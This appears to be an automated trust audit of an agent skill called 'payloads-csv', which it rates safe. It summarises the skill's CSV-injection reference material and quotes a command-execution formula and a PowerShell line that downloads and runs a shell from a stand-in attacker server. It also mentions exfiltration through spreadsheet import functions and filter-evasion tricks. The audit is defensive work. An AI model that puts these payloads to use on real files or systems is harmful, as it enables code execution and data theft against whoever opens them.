payloads-csv
Pass
Audited by Gen Agent Trust Hub on Oct 29, 2026
Risk Level: SAFE
Full Analysis
- [COMMAND_EXECUTION]: The skill documents various command execution strings intended for CSV injection testing, such as
=cmd|' /C calc'!'A1'. These are provided as reference material for security testing and are not executed by the skill itself. - [REMOTE_CODE_EXECUTION]: The skill includes reference payloads for remote code execution via PowerShell, such as
IEX(wget attacker_server/shell.exe). These patterns are provided as text for security professionals and are not active components of the skill's operation. - [DATA_EXFILTRATION]: Documents techniques for exfiltrating data via spreadsheet functions like
IMPORTXMLandIMPORTDATAusing placeholder attacker domains. - [OBFUSCATION]: Explains techniques to use null characters and prefixing to bypass security filters in spreadsheet software for educational and defensive study.
Audit Metadata